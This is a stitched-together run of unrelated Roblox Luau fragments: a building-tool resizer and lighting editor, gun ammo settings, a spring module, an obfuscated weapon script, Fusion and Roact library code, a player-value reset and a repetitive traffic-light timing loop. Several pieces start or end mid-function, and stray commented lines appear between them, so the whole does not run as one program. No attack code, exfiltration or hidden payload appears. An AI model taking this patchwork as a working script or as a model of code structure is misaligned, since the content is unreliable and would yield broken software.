Parent = Core.UIContainer, Adornee = Selection.Focus, OnDragStart = OnHandleDragStart, OnDrag = OnHandleDrag, OnDragEnd = OnHandleDragEnd }) end; function HideHandles() -- Hides the resizing handles -- Make sure handles exist and are visible if not ResizeTool.Handles then return; end; -- Hide the handles ResizeTool.Handles = ResizeTool.Handles:Destroy() -- Clear unnecessary resources ClearConnection 'AutofocusHandle'; end; function ResizePartsByFace(Face, Distance, Directions, InitialStates) -- Resizes the selection on face `Face` by `Distance` studs, in the given `Directions` -- Adjust the size increment to the resizing direction mode if Directions == 'Both' then Distance = Distance * 2; end; -- Calculate the increment vector for this resizing local AxisSizeMultiplier = AxisSizeMultipliers[Face]; local IncrementVector = Distance * AxisSizeMultiplier; -- Get name of axis the resize will occur on local AxisName = FaceAxisNames[Face]; -- Check for any potential undersizing or oversizing local ShortestSize, ShortestPart, LongestSize, LongestPart; for Part, InitialState in pairs(InitialStates) do -- Calculate target size for this resize local TargetSize = InitialState.Size[AxisName] + Distance; -- If target size is under 0.05, note if it's the shortest size if TargetSize < 0.049999 and (not ShortestSize or (ShortestSize and TargetSize < ShortestSize)) then ShortestSize, ShortestPart = TargetSize, Part; -- If target size is over 2048, note if it's the longest size elseif TargetSize > 2048 and (not LongestSize or (LongestSize and TargetSize > LongestSize)) then LongestSize, LongestPart = TargetSize, Part; end; end; -- Return adjustment for undersized parts (snap to lowest possible valid increment multiple) if ShortestSize then local InitialSize = InitialStates[ShortestPart].Size[AxisName]; local TargetSize = InitialSize - ResizeTool.Increment * tonumber((tostring((InitialSize - 0.05) / ResizeTool.Increment):gsub('%..+', ''))); return false, Distance + TargetSize - ShortestSize; end; -- Return adjustment for oversized parts (snap to highest possible valid increment multiple) if LongestSize then local TargetSize = ResizeTool.Increment * tonumber((tostring(2048 / ResizeTool.Increment):gsub('%..+', ''))); return false, Distance + TargetSize - LongestSize; end; -- Resize each part for Part, InitialState in pairs(InitialStates) do -- Perform the size change depending on shape if Part:IsA 'Part' then -- Resize spheres on all axes if Part.Shape == Enum.PartType.Ball then Part.Size = InitialState.Size + Vector3.new(Distance, Distance, Distance); -- Resize cylinders on both Y & Z axes for circle sides elseif Part.Shape == Enum.PartType.Cylinder and AxisName ~= 'X' then Part.Size = InitialState.Size + Vector3.new(0, Distance, Distance); -- Resize block parts and cylinder lengths normally else Part.Size = InitialState.Size + IncrementVector; end; -- Perform the size change normally on all other parts else Part.Size = InitialState.Size + IncrementVector; end; -- Offset the part when resizing in the normal, one direction if Directions == 'Normal' then Part.CFrame = InitialState.CFrame * CFrame.new(AxisPositioningMultipliers[Face] * Distance / 2); -- Keep the part centered when resizing in both directions elseif Directions == 'Both' then Part.CFrame = InitialState.CFrame; end; end; -- Indicate that the resizing happened successfully return true; end; function BindShortcutKeys() -- Enables useful shortcut keys for this tool -- Track user input while this tool is equipped table.insert(Connections, UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent) -- Make sure this is an intentional event if GameProcessedEvent then return; end; -- Make sure this input is a key press if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then return; end; -- Make sure it wasn't pressed while typing if UserInputService:GetFocusedTextBox() then return; end; -- Check if the enter key was pressed if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then -- Toggle the current directions mode if ResizeTool.Directions == 'Normal' then SetDirections('Both'); elseif ResizeTool.Directions == 'Both' then SetDirections('Normal'); end; -- Check if the - key was pressed elseif InputInfo.KeyCode == Enum.KeyCode.Minus or InputInfo.KeyCode == Enum.KeyCode.KeypadMinus then -- Focus on the increment input if ResizeTool.UI then ResizeTool.UI.IncrementOption.Increment.TextBox:CaptureFocus(); end; -- Nudge up if the 8 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadEight then NudgeSelectionByFace(Enum.NormalId.Top); -- Nudge down if the 2 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadTwo then NudgeSelectionByFace(Enum.NormalId.Bottom); -- Nudge forward if the 9 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadNine then NudgeSelectionByFace(Enum.NormalId.Front); -- Nudge backward if the 1 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadOne then NudgeSelectionByFace(Enum.NormalId.Back); -- Nudge left if the 4 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadFour then NudgeSelectionByFace(Enum.NormalId.Left); -- Nudge right if the 6 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadSix then NudgeSelectionByFace(Enum.NormalId.Right); -- Start snapping when the R key is pressed down, and it's not the selection clearing hotkey elseif InputInfo.KeyCode == Enum.KeyCode.R and not Selection.Multiselecting then StartSnapping(); end; end)); -- Track ending user input while this tool is equipped table.insert(Connections, UserInputService.InputEnded:Connect(function (InputInfo, GameProcessedEvent) -- Make sure this is an intentional event if GameProcessedEvent then return; end; -- Make sure this is input from the keyboard if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then return; end; -- Make sure it wasn't pressed while typing if UserInputService:GetFocusedTextBox() then return; end; -- Finish snapping when the R key is released, and it's not the selection clearing hotkey if InputInfo.KeyCode == Enum.KeyCode.R and not Selection.Multiselecting then FinishSnapping(); end; end)); end; function SetAxisSize(Axis, Size) -- Sets the selection's size on axis `Axis` to `Size` -- Track this change TrackChange(); -- Prepare parts to be resized local InitialStates = PreparePartsForResizing(); -- Update each part for Part, InitialState in pairs(InitialStates) do -- Set the part's new size Part.Size = Vector3.new( Axis == 'X' and Size or Part.Size.X, Axis == 'Y' and Size or Part.Size.Y, Axis == 'Z' and Size or Part.Size.Z ); -- Keep the part in place Part.CFrame = InitialState.CFrame; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player); -- Revert changes if player is not authorized to resize parts towards the end destination if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialStates) do Part.Size = State.Size; Part.CFrame = State.CFrame; end; end; -- Restore the parts' original states for Part, State in pairs(InitialStates) do Part:MakeJoints(); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change RegisterChange(); end; function NudgeSelectionByFace(Face) -- Nudges the size of the selection in the direction of the given face -- Get amount to nudge by local NudgeAmount = ResizeTool.Increment; -- Reverse nudge amount if shift key is held while nudging local PressedKeys = Support.FlipTable(Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode')); if PressedKeys[Enum.KeyCode.LeftShift] or PressedKeys[Enum.KeyCode.RightShift] then NudgeAmount = -NudgeAmount; end; -- Track this change TrackChange(); -- Prepare parts to be resized local InitialState = PreparePartsForResizing(); -- Perform the resizing local Success, Adjustment = ResizePartsByFace(Face, NudgeAmount, ResizeTool.Directions, InitialState); -- If the resizing did not succeed, resize according to the suggested adjustment if not Success then ResizePartsByFace(Face, Adjustment, ResizeTool.Directions, InitialState); end; -- Update "studs resized" indicator if ResizeTool.UI then ResizeTool.UI.Changes.Text.Text = 'resized ' .. Support.Round(Adjustment or NudgeAmount, 3) .. ' studs'; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player); -- Revert changes if player is not authorized to resize parts towards the end destination if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialState) do Part.Size = State.Size; Part.CFrame = State.CFrame; end; end; -- Restore the parts' original states for Part, State in pairs(InitialState) do Part:MakeJoints(); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change RegisterChange(); end; function TrackChange() -- Start the record HistoryRecord = { Parts = Support.CloneTable(Selection.Parts); BeforeSize = {}; AfterSize = {}; BeforeCFrame = {}; AfterCFrame = {}; Selection = Selection.Items; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Record.Selection) -- Put together the change request local Changes = {}; for _, Part in pairs(Record.Parts) do table.insert(Changes, { Part = Part, Size = Record.BeforeSize[Part], CFrame = Record.BeforeCFrame[Part] }); end; -- Send the change request Core.SyncAPI:Invoke('SyncResize', Changes); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Record.Selection) -- Put together the change request local Changes = {}; for _, Part in pairs(Record.Parts) do table.insert(Changes, { Part = Part, Size = Record.AfterSize[Part], CFrame = Record.AfterCFrame[Part] }); end; -- Send the change request Core.SyncAPI:Invoke('SyncResize', Changes); end; }; -- Collect the selection's initial state for _, Part in pairs(HistoryRecord.Parts) do HistoryRecord.BeforeSize[Part] = Part.Size; HistoryRecord.BeforeCFrame[Part] = Part.CFrame; end; end; function RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not HistoryRecord then return; end; -- Collect the selection's final state local Changes = {}; for _, Part in pairs(HistoryRecord.Parts) do HistoryRecord.AfterSize[Part] = Part.Size; HistoryRecord.AfterCFrame[Part] = Part.CFrame; table.insert(Changes, { Part = Part, Size = Part.Size, CFrame = Part.CFrame }); end; -- Send the change to the server Core.SyncAPI:Invoke('SyncResize', Changes); -- Register the record and clear the staging Core.History.Add(HistoryRecord); HistoryRecord = nil; end; function PreparePartsForResizing() -- Prepares parts for resizing and returns the initial state of the parts local InitialState = {}; -- Stop parts from moving, and capture the initial state of the parts for _, Part in pairs(Selection.Parts) do InitialState[Part] = { Anchored = Part.Anchored, CanCollide = Part.CanCollide, Size = Part.Size, CFrame = Part.CFrame }; Part.Anchored = true; Part.CanCollide = false; Part:BreakJoints(); Part.Velocity = Vector3.new(); Part.RotVelocity = Vector3.new(); end; return InitialState; end; function GetIncrementMultiple(Number, Increment) -- Get how far the actual distance is from a multiple of our increment local MultipleDifference = Number % Increment; -- Identify the closest lower and upper multiples of the increment local LowerMultiple = Number - MultipleDifference; local UpperMultiple = Number - MultipleDifference + Increment; -- Calculate to which of the two multiples we're closer local LowerMultipleProximity = math.abs(Number - LowerMultiple); local UpperMultipleProximity = math.abs(Number - UpperMultiple); -- Use the closest multiple of our increment as the distance moved if LowerMultipleProximity <= UpperMultipleProximity then Number = LowerMultiple; else Number = UpperMultiple; end; return Number; end;
--end --if SignalValues.Signal2a.Value == 2 then
SignalValues.Signal2a.Value = 3
-- Container for temporary connections (disconnected automatically)
local Connections = {}; function LightingTool.Equip() -- Enables the tool's equipped functionality -- Start up our interface ShowUI(); EnableSurfaceClickSelection(); end; function LightingTool.Unequip() -- Disables the tool's equipped functionality -- Clear unnecessary resources HideUI(); ClearConnections(); end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:Disconnect(); Connections[ConnectionKey] = nil; end; end; function ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if LightingTool.UI then -- Reveal the UI LightingTool.UI.Visible = true; -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); -- Skip UI creation return; end; -- Create the UI LightingTool.UI = Core.Tool.Interfaces.BTLightingToolGUI:Clone(); LightingTool.UI.Parent = Core.UI; LightingTool.UI.Visible = true; -- Enable each light type UI EnableLightSettingsUI(LightingTool.UI.PointLight); EnableLightSettingsUI(LightingTool.UI.SpotLight); EnableLightSettingsUI(LightingTool.UI.SurfaceLight); -- Hook up manual triggering local SignatureButton = LightingTool.UI:WaitForChild('Title'):WaitForChild('Signature') ListenForManualWindowTrigger(LightingTool.ManualText, LightingTool.Color.Color, SignatureButton) -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); end; function EnableSurfaceClickSelection(LightType) -- Allows for the setting of the face for the given light type by clicking -- Clear out any existing connection if Connections.SurfaceClickSelection then Connections.SurfaceClickSelection:Disconnect(); Connections.SurfaceClickSelection = nil; end; -- Add the new click connection Connections.SurfaceClickSelection = Core.Mouse.Button1Down:Connect(function () local _, ScopeTarget = Core.Targeting:UpdateTarget() if Selection.IsSelected(ScopeTarget) then SetSurface(LightType, Core.Mouse.TargetSurface) end end) end; function EnableLightSettingsUI(LightSettingsUI) -- Sets up the UI for the given light type settings UI -- Get the type of light this settings UI is for local LightType = LightSettingsUI.Name; -- Option input references local Options = LightSettingsUI.Options; local RangeInput = Options.RangeOption.Input.TextBox; local BrightnessInput = Options.BrightnessOption.Input.TextBox; local ColorPickerButton = Options.ColorOption.HSVPicker; local ShadowsCheckbox = Options.ShadowsOption.Checkbox; -- Add/remove/show button references local AddButton = LightSettingsUI.AddButton; local RemoveButton = LightSettingsUI.RemoveButton; local ShowButton = LightSettingsUI.ArrowButton; -- Enable range input RangeInput.FocusLost:Connect(function () SetRange(LightType, tonumber(RangeInput.Text)); end); -- Enable brightness input BrightnessInput.FocusLost:Connect(function () SetBrightness(LightType, tonumber(BrightnessInput.Text)); end); -- Enable color input local ColorPickerHandle = nil ColorPickerButton.MouseButton1Click:Connect(function () local CommonColor = Support.IdentifyCommonProperty(GetLights(LightType), 'Color') local ColorPickerElement = Roact.createElement(ColorPicker, { InitialColor = CommonColor or Color3.fromRGB(255, 255, 255); SetPreviewColor = function (Color) PreviewColor(LightType, Color) end; OnConfirm = function (Color) SetColor(LightType, Color) ColorPickerHandle = Roact.unmount(ColorPickerHandle) end; OnCancel = function () ColorPickerHandle = Roact.unmount(ColorPickerHandle) end; }) ColorPickerHandle = ColorPickerHandle and Roact.update(ColorPickerHandle, ColorPickerElement) or Roact.mount(ColorPickerElement, Core.UI, 'ColorPicker') end) -- Enable shadows input ShadowsCheckbox.MouseButton1Click:Connect(function () ToggleShadows(LightType); end); -- Enable light addition button AddButton.MouseButton1Click:Connect(function () AddLights(LightType); end); -- Enable light removal button RemoveButton.MouseButton1Click:Connect(function () RemoveLights(LightType); end); -- Enable light options UI show button ShowButton.MouseButton1Click:Connect(function () OpenLightOptions(LightType); end); -- Enable light type-specific features if LightType == 'SpotLight' or LightType == 'SurfaceLight' then -- Create a surface selection dropdown local Surfaces = { 'Top'; 'Bottom'; 'Front'; 'Back'; 'Left'; 'Right'; } local SurfaceKey = 'Current' .. LightType .. 'Side' local function BuildDropdown() return Roact.createElement(Dropdown, { Position = UDim2.new(0, 30, 0, 0); Size = UDim2.new(0, 72, 0, 25); MaxRows = 3; Options = Surfaces; CurrentOption = LightingTool[SurfaceKey] and LightingTool[SurfaceKey].Name; OnOptionSelected = function (Option) SetSurface(LightType, Enum.NormalId[Option]) end; }) end local DropdownHandle = Roact.mount(BuildDropdown(), Options.SideOption, 'Dropdown') -- Keep dropdown updated LightingTool.OnSideChanged:Connect(function () Roact.update(DropdownHandle, BuildDropdown()) end) -- Enable angle input local AngleInput = Options.AngleOption.Input.TextBox; AngleInput.FocusLost:Connect(function () SetAngle(LightType, tonumber(AngleInput.Text)); end); end; end; function HideUI() -- Hides the tool UI -- Make sure there's a UI if not LightingTool.UI then return; end; -- Hide the UI LightingTool.UI.Visible = false; -- Stop updating the UI UIUpdater:Stop(); end; function GetLights(LightType) -- Returns all the lights of the given type in the selection local Lights = {}; -- Get any lights from any selected parts for _, Part in pairs(Selection.Parts) do table.insert(Lights, Support.GetChildOfClass(Part, LightType)); end; -- Return the lights return Lights; end;
-- Number Util -- Stephen Leitnick -- April 22, 2020
--// Ammo Settings
Ammo = 50; StoredAmmo = 20; MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge; ExplosiveAmmo = 3;
-- Functions
function module.create(self, mass, force, damping, speed) local spring = { Target = Vector3.new(); Position = Vector3.new(); Velocity = Vector3.new(); Mass = mass or 5; Force = force or 50; Damping = damping or 4; Speed = speed or 4; } function spring.SetBaseValue(self, V) self.Target = V self.Position = V self.Velocity = V end function spring.Shove(self, force) local x, y, z = force.X, force.Y, force.Z if x ~= x or x == math.huge or x == -math.huge then x = 0 end if y ~= y or y == math.huge or y == -math.huge then y = 0 end if z ~= z or z == math.huge or z == -math.huge then z = 0 end self.Velocity = self.Velocity + Vector3.new(x, y, z) end function spring.Update(self, dt) local scaledDeltaTime = math.min(dt,1) * self.Speed / ITERATIONS for i = 1, ITERATIONS do local iterationForce= self.Target - self.Position local acceleration = (iterationForce * self.Force) / self.Mass acceleration = acceleration - self.Velocity * self.Damping self.Velocity = self.Velocity + acceleration * scaledDeltaTime self.Position = self.Position + self.Velocity * scaledDeltaTime end return self.Position end return spring end
-- 100 == 1 0 == 0 1/0.5
function JamCalculation() local L_181_ if (math.random(1, 100) <= L_24_.JamChance) then L_181_ = true L_74_ = true else L_181_ = false end return L_181_ end function TracerCalculation() local L_182_ if (math.random(1, 100) <= L_24_.TracerChance) then L_182_ = true else L_182_ = false end return L_182_ end function ScreamCalculation() local L_183_ if (math.random(1, 100) <= L_24_.SuppressCalloutChance) then L_183_ = true else L_183_ = false end return L_183_ end function SearchResupply(L_184_arg1) local L_185_ = false local L_186_ = nil if L_184_arg1:FindFirstChild('ResupplyVal') or L_184_arg1.Parent:FindFirstChild('ResupplyVal') then L_185_ = true if L_184_arg1:FindFirstChild('ResupplyVal') then L_186_ = L_184_arg1.ResupplyVal elseif L_184_arg1.Parent:FindFirstChild('ResupplyVal') then L_186_ = L_184_arg1.Parent.ResupplyVal end end return L_185_, L_186_ end function CheckReverb() local L_187_, L_188_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_6_.CFrame.p, (L_6_.CFrame.upVector).unit * 30), IgnoreList); if L_187_ then local L_189_ = L_58_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') or Instance.new("ReverbSoundEffect", L_58_:WaitForChild('Fire')) elseif not L_187_ then if L_58_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') then L_58_.Fire.ReverbSoundEffect:Destroy() end end end function UpdateAmmo() L_29_.Text = L_102_ L_30_.Text = L_29_.Text L_31_.Text = '| ' .. math.ceil(L_103_ / L_24_.StoredAmmo) L_32_.Text = L_31_.Text if L_92_ == 0 then L_40_.Image = 'rbxassetid://' .. 1868007495 elseif L_92_ == 1 then L_40_.Image = 'rbxassetid://' .. 1868007947 elseif L_92_ == 2 then L_40_.Image = 'rbxassetid://' .. 1868008584 end if L_91_ == 1 then L_35_.BackgroundTransparency = 0 L_36_.BackgroundTransparency = 0.7 L_37_.BackgroundTransparency = 0.7 L_38_.BackgroundTransparency = 0.7 L_39_.BackgroundTransparency = 0.7 elseif L_91_ == 2 then L_35_.BackgroundTransparency = 0 L_36_.BackgroundTransparency = 0 L_37_.BackgroundTransparency = 0 L_38_.BackgroundTransparency = 0 L_39_.BackgroundTransparency = 0 elseif L_91_ == 3 then L_35_.BackgroundTransparency = 0 L_36_.BackgroundTransparency = 0 L_37_.BackgroundTransparency = 0 L_38_.BackgroundTransparency = 0.7 L_39_.BackgroundTransparency = 0.7 elseif L_91_ == 4 then L_35_.BackgroundTransparency = 0 L_36_.BackgroundTransparency = 0 L_37_.BackgroundTransparency = 0 L_38_.BackgroundTransparency = 0 L_39_.BackgroundTransparency = 0.7 elseif L_91_ == 5 then L_35_.BackgroundTransparency = 0 L_36_.BackgroundTransparency = 0.7 L_37_.BackgroundTransparency = 0 L_38_.BackgroundTransparency = 0.7 L_39_.BackgroundTransparency = 0.7 elseif L_91_ == 6 then L_35_.BackgroundTransparency = 0 L_36_.BackgroundTransparency = 0.7 L_37_.BackgroundTransparency = 0 L_38_.BackgroundTransparency = 0 L_39_.BackgroundTransparency = 0.7 end end
-- if playerRoot and (playerRoot.Position - rootPart.Position).Magnitude <= 1000 and not attacking then -- check if the player is near the npc -- local SimplePath = require(6336743234) --Get module -- local Path = SimplePath.new(npc) --Create new Path -- Path:Run(player.Character.HumanoidRootPart.Position) --Start moving the Rig -- Path.Completed:Wait() --Wait until Rig reaches the final position -- Path:Destroy() -- break -- break the loop so it doesn't follow a different player -- end -- end
--[[ Updates all Tween objects. ]]
local function updateAllTweens() local now = os.clock() -- FIXME: Typed Luau doesn't understand this loop yet for tween: Tween in pairs(allTweens :: any) do local currentTime = now - tween._currentTweenStartTime if currentTime > tween._currentTweenDuration then if tween._currentTweenInfo.Reverses then tween._currentValue = tween._prevValue else tween._currentValue = tween._nextValue end updateAll(tween) TweenScheduler.remove(tween) else local ratio = getTweenRatio(tween._currentTweenInfo, currentTime) local currentValue = lerpType(tween._prevValue, tween._nextValue, ratio) tween._currentValue = currentValue updateAll(tween) end end end RunService:BindToRenderStep( "__FusionTweenScheduler", Enum.RenderPriority.First.Value, updateAllTweens ) return TweenScheduler
--[[ Packages up the internals of Roact and exposes a public API for it. ]]
local GlobalConfig = require(script.GlobalConfig) local createReconciler = require(script.createReconciler) local createReconcilerCompat = require(script.createReconcilerCompat) local RobloxRenderer = require(script.RobloxRenderer) local strict = require(script.strict) local Binding = require(script.Binding) local robloxReconciler = createReconciler(RobloxRenderer) local reconcilerCompat = createReconcilerCompat(robloxReconciler) local Roact = strict { Component = require(script.Component), createElement = require(script.createElement), createFragment = require(script.createFragment), oneChild = require(script.oneChild), PureComponent = require(script.PureComponent), None = require(script.None), Portal = require(script.Portal), createRef = require(script.createRef), createBinding = Binding.create, joinBindings = Binding.join, createContext = require(script.createContext), Change = require(script.PropMarkers.Change), Children = require(script.PropMarkers.Children), Event = require(script.PropMarkers.Event), Ref = require(script.PropMarkers.Ref), mount = robloxReconciler.mountVirtualTree, unmount = robloxReconciler.unmountVirtualTree, update = robloxReconciler.updateVirtualTree, reify = reconcilerCompat.reify, teardown = reconcilerCompat.teardown, reconcile = reconcilerCompat.reconcile, setGlobalConfig = GlobalConfig.set, -- APIs that may change in the future without warning UNSTABLE = { }, } return Roact
--BigBomb
game.Players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(function(character) local Humanoid = character:WaitForChild("Humanoid") Humanoid.Died:connect(function() if player.BigBomb.Value == 2 then player.BigBomb.Value = 1 end end) end) end) game.Players.PlayerRemoving:Connect(function(player) if player.BigBomb.Value == 2 then player.BigBomb.Value = 1 end end)
-- A state object whose value is derived from other objects using a callback.
export type ComputedPairs<K, V> = StateObject<{[K]: V}> & Dependent & { -- kind: "ComputedPairs" (add this when Luau supports singleton types) }
---------------------------------------------
SignalValues.Signal1.Value = 1 SignalValues.Signal1a.Value = 1 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 1 PedValues.PedSignal2a.Value = 1 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(26)--Green Time (BEGIN SIGNAL1 GREEN) SignalValues.Signal1.Value = 1 SignalValues.Signal1a.Value = 1 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 2 PedValues.PedSignal2a.Value = 2 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(6) -- Green Time + Time for flashing pedestrian signals SignalValues.Signal1.Value = 2 SignalValues.Signal1a.Value = 2 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(4) -- Yellow Time SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(2)-- ALL RED SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 1 SignalValues.Signal2a.Value = 1 PedValues.PedSignal1.Value = 1 PedValues.PedSignal1a.Value = 1 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(26)--Green Time (BEGIN SIGNAL2 GREEN) SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 1 SignalValues.Signal2a.Value = 1 PedValues.PedSignal1.Value = 2 PedValues.PedSignal1a.Value = 2 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(6) -- Green Time + Time for flashing pedestrian signals SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 2 SignalValues.Signal2a.Value = 2 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(4) -- Yellow Time SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(2)-- ALL RED SignalValues.Signal1.Value = 1 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 1 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(10)--Green Time (BEGIN SIGNAL1 PROTECTED TURN GREEN) TurnValues.TurnSignal1.Value = 2 wait(4)--Yield Time (YIELD SIGNAL1 PROTECTED TURN GREEN) TurnValues.TurnSignal1.Value = 3 SignalValues.Signal1a.Value = 3 wait(2)-- All Red Cycle SignalValues.Signal1.Value = 1 SignalValues.Signal1a.Value = 1 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(10) -- Green Time + Time for Signal1a SignalValues.Signal1.Value = 2 SignalValues.Signal1a.Value = 2 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(4) -- Yellow Time SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(2)-- ALL RED SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 1 SignalValues.Signal2a.Value = 1 PedValues.PedSignal1.Value = 1 PedValues.PedSignal1a.Value = 1 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(26)--Green Time (BEGIN SIGNAL2 GREEN) SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 1 SignalValues.Signal2a.Value = 1 PedValues.PedSignal1.Value = 2 PedValues.PedSignal1a.Value = 2 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(6) -- Green Time + Time for flashing pedestrian signals SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 2 SignalValues.Signal2a.Value = 2 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(4) -- Yellow Time 